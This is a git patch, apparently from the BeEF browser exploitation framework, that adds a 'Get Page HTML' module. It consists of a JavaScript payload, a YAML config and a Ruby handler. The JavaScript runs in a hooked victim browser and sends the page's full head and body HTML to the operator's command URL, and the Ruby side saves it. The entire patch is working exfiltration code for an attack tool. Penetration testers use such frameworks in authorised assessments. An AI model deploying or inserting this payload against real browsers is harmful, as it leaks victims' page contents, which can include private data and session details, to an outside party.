From e8cd4cb6c4b60e41ff5e5b97814ae3f71799f9ed Mon Sep 17 00:00:00 2001 From: "bcoles@gmail.com" Date: Sat, 1 Oct 2011 14:08:22 +0000 Subject: [PATCH] Added Get Page HTML module git-svn-id: https://beef.googlecode.com/svn/trunk@1336 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- modules/browser/get_page_html/command.js | 22 ++++++++++++++++++++ modules/browser/get_page_html/config.yaml | 25 +++++++++++++++++++++++ modules/browser/get_page_html/module.rb | 24 ++++++++++++++++++++++ 3 files changed, 71 insertions(+) create mode 100644 modules/browser/get_page_html/command.js create mode 100644 modules/browser/get_page_html/config.yaml create mode 100644 modules/browser/get_page_html/module.rb diff --git a/modules/browser/get_page_html/command.js b/modules/browser/get_page_html/command.js new file mode 100644 index 000000000..10fbe68ad --- /dev/null +++ b/modules/browser/get_page_html/command.js @@ -0,0 +1,22 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+escape(document.head.innerHTML.toString())); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'body='+escape(document.body.innerHTML.toString())); + +}); + diff --git a/modules/browser/get_page_html/config.yaml b/modules/browser/get_page_html/config.yaml new file mode 100644 index 000000000..efc3c3882 --- /dev/null +++ b/modules/browser/get_page_html/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + get_page_html: + enable: true + category: "Browser" + name: "Get Page HTML" + description: "This module will retrieve the HTML from the current page." + authors: ["bcoles"] + target: + working: ["ALL"] diff --git a/modules/browser/get_page_html/module.rb b/modules/browser/get_page_html/module.rb new file mode 100644 index 000000000..bda3b7c7f --- /dev/null +++ b/modules/browser/get_page_html/module.rb @@ -0,0 +1,24 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Get_page_html < BeEF::Core::Command + + def post_execute + content = {} + content['html'] = @datastore['html'] + save content + end + +end